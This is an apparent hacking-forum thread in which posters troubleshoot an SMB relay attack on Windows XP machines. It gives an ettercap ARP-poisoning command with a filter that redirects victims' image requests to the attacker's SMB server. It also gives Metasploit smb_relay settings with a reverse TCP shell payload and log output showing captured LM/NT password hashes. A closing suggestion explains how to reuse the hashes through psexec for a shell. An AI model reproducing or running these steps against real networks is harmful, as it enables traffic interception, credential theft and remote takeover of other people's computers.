Own Full patched XP box via HTTP

[opreat0r]

I am having problems creating and loading the filters.

Start over from the beginning of this post if you still don't get it goto http://www.irongeek.com/i.php?page=s...ettercapfilter and do that one first

[dirtydave75]

Thanks, will check it out.

[flufsor]

what happens if the host has an empty password

[samsung]

what happens if the host has an empty password

Try it & find out

[ibrahim52]

# etterfilter makes the smb.ef to use with ettercap

etterfilter smb.filter -o smb.ef
# run ettercap on target
ettercap -T -q -F smb.ef -M ARP // // -P autoadd

# start up msfconsole with the RC script
/pentest/exploits/framework3/msfconsole -r smb.rc


what happends ??

ettercap replaces IMG with \\yourip so then the victim trys to access your SMB_RELAY server for the IMG
then attacker say NO accsess denied ! victim says OK let me try my login by default

I am really not getting why am i getting the error INPUT FILE NOT FOUND.Where i should use the commands

ettercap -T -q -F smb.ef -M ARP // // -P autoadd

.It simply says cannot load filter file.Help samsung.

[samsung]

I am really not getting why am i getting the error INPUT FILE NOT FOUND.Where i should use the commands

ettercap -T -q -F smb.ef -M ARP // // -P autoadd

.It simply says cannot load filter file.Help samsung.

copy & paste YOUR FILTER FILE into your /pentest/exploits/framework3 directory

[ibrahim52]

i guess i am the only fool on this forum,for whom its just NOTHING WORKS.I do SUX.Well,tried pawning from three different ways as per this topic and one more

http://forum.remote-exploit.org/showthread.php?t=9121&page=2

when i am trying

sessions -l

its just says NO ACTIVE SESSIONS even from the web interface of metasploit.Now i am having two doubt.Its just work on LAN ? Bcs i am having two computers on LAN and my laptop which is wireless and bt3 installed.Should i post my output results here and one more thing.Is it because of my intel pro 2200 BG card ?.I know i really sux.First it was SEND L3 ERROR and now this.When i am gonna reply here that this thing really worked for me .Pleas help

[ibrahim52]

Can somebody give me a hand with this:

msfconsole error: (edited specs)[*] Sending Access Denied to 192.168.1.45:1613 CREAMYPOOF\Owner[*] Received 192.168.1.45:1616 \ LMHASH:00 NTHASH: OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1[*] Sending Access Denied to 192.168.1.45:1616 \[*] Received 192.168.1.45:1616 CREAMYPOOF\Owner LMHASH:89b2130fb1f3ca3b034ac299c5c393e8578ecde5ac3 1cce7 NTHASH:301f879f15b7ce8216bd2425a1532efbdcb5208feab 1a88b OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1[*] Authenticating to 192.168.1.45 as CREAMYPOOF\Owner...[*] AUTHENTICATED as CREAMYPOOF\Owner...

[-] FAILED! The remote host has only provided us with Guest privileges. Please make sure that the correct username and password have been provided. Windows XP systems that are not part of a domain will only provide Guest privileges to network logins by default.


What's the latter part about not being part of a domain? I'm just trying to isolate the problem.

i am having the same problem.Two doubts samsung.Just want to confirm, am i going correct or not.

Here ,should i use the gateway or the Victims ip bcs i tried both.

use exploit/windows/smb/smb_relay
set PAYLOAD windows/shell_reverse_tcp
set LHOST ( Victims IP)
set LPORT 21
exploit

and in the script too.So am i going right.Sorry u must have never faced silly questions like i am asking on this forum of proz.

[samsung]

i am having the same problem.Two doubts samsung.Just want to confirm, am i going correct or not.

Here ,should i use the gateway or the Victims ip bcs i tried both.

use exploit/windows/smb/smb_relay
set PAYLOAD windows/shell_reverse_tcp
set LHOST ( Victims IP)
set LPORT 21
exploit

and in the script too.So am i going right.Sorry u must have never faced silly questions like i am asking on this forum of proz.

You have doubts??


I can't see where your going wrong, did you watch my video & follow it? I tried to make it as clear as I could

When you have launched msfconsole, have you tried to open various different pages on your victim machine, just to see will it exploit?

[imported___CG__]

that ettercap script is performing a MITM attack to get the users to connect to your server for any images that are served up.

that is one method. another method would be to just get a victim to click a link or go to a webpage that has an embedded link to your fake SMB share.

a video is available on learnsecurityonline that shows that, its in the hack videos section --> Chicagocon MSF Demo: MSF SMB Relay with Reverse Shell

to answer some of the other questions, its pretty much a LAN only (well within the domain would be more right) attack and the victim needs to be joined to a domain, just like someone mentioned.

what might be more fun for you that arent joined to a domain but are running as admin would be to take that hash you see thats failing and throw that into the psexec module of metasploit and getting a shell that way (sorry no video).